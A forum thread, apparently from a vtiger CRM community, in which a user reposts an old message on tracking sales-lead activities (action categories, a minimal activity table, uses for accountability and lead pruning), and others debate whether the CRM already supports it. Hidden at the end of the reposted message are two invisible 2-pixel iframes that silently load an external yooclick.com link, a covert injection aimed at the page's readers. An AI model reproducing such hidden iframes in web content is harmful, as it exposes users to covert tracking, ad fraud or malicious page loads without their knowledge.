Lead Management

I read a posting by BrianLaughlin from 2005 that talked about Lead Management Improvement. He described a system that he was using. I can't seem to find any other postings about it, but I am very interested in how this is being done. In the post he said it is very simple and extremely powerful. I'm sold!

He also said he has "a really unique way of handling status for 'everything' that is worthy of a post on its own. I'll share that some time in the near future." I don't see posts with this information. Please share!

Thanks.

Mark


Below is a copy of the post:

In working with sales organizations or just managing your own sales contacts, if you are dealing with a decent number of leads then lead tracking becomes critical to sales success.

Two categories come to mind: (1) Activities (2) Status.

Activities would be tracking the sales person's activities. This is important in the following ways: Managing sales people, knowing your numbers, understanding best times to call, more intelligent queries can be built saving sales person and organization time, shared leads within an organization among other things.

Status would track the status of the lead. Examples may follow: Interested, Not Interested, Lost to competition, Cold, Hot and etc.

I'll focus on activities in this post. We have a really unique way of handling status for 'everything' that is worthy of a post on its own. I'll share that some time in the near future.

I would suggest the following categories for tracking lead activities.
No Action
Called no Message
Left Message
Spoke with Decision Maker
Emailed
Appointment Set
Met with Decision Maker

The table is slim something like:
ActionID
LeadID
UserID
DateTime

This is very powerful and can lead to many other features that create tremendous value. I'll give a few examples how this can be used.

1.Holding sales staff accountantable.
2.You can purse lead lists automatically. I.e. Days old + # of attempted contacts then delete.
3.You can troubleshoot poor performance or model best practices.
4.You can design queries from this that will prioritize your leads and can be leveraged into even better intelligent systems when status tracking is added.
5.Sales people can work off activity goals and easily see their results. Fun things like score boarding can be easily implemented showing who's doing the most when.
6.More intelligent automated marketing campaigns can be created.
7.You can hit % of clients surveyed numbers easily.
8.It's nearly limitless in what value you can derive.

Also as an option. Allowing this tracking to be mandatory and set in the user permission. Many sales organizations force some type of tracking this would be a huge benefit. Great for call center management. If a sales person is not performing, you can place them on probation and toggle this activity tracking.
I implore you to consider implementing this because it's actually very simple and extremely powerful. We currently do this and I have about 6 years of data to confirm its utility.

I hope this tread picks up interest and would love to see comments like: great, we need it or even what are you thinking? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 9 Comments sorted by Votes Date Added
  • holy smoke, that's a blast from the past!

    i'm too groggy to do this post any justice. i'll try later. thanks for bringing it up. <!-- s:-) --><img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" /><!-- s:-) -->
  • thanks. i'm surprised people haven't been breaking down your door for this information. this is standard tracking information needed in every and any sales organization and needed to keep track of your own sales contacts.

    can this also be done using the contacts module instead of the leads module? i get a lot more info than just the basic stuff so i need to use that module.

    i am anxiously awaiting your reply.

    thank you.

    mark
  • perhaps you didn't much about it because that functionality exists in vtiger...at least to some extent and there are some loopholes that require further digging but for the most part with some digging and some customization you can already do this. i think it might be more helpful to post where you see the current deficiencies then perhaps we can help you find ways to achieve that within the current framework. some of this depends on your setup eg (how many users) so some description of your use would also be helpful.
  • please, let me rephrase. i see numerous amounts of posts asking this type of information, but no responses to brian's post offering the information.

    functionality which "already" exists in a product "does not" require a search for loopholes, going on a digging expedition, and customization.

    i am looking for lead tracking that need to be done using the contacts module, instead of the leads module, because my leads contain more than basic information.

    since this functionality is not directly built into the software, to me this is a current deficiency and i would appreciate if you would let me know how to achieve this within the current framework for three users.

    your help is appreciated.

    thank you.
  • functionality which "already" exists in a product "does not" require a search for loopholes, going on a digging expedition, and customization.
    welcome to the open-source world.
    i am looking for lead tracking that need to be done using the contacts module, instead of the leads module, because my leads contain more than basic information.
    why not add in custom fields in this area to fulfill your needs? if you need custom fields in reports, queries, sorts, etc. - go digging...there is no other way.
  • since i was referring to a posting that brian made, i would appreciate if we could allow brian to answer.

    thanks.

    brian, would appreciate if you would please elaborate.
  • i have a working 'alpha' version. i'm going out of town for the week. hopefully, i'll post it this week.

    regards,
  • brian,

    any chance you are ready to share? i'm really interested in what you've come up with.

    thanks,

    jamie
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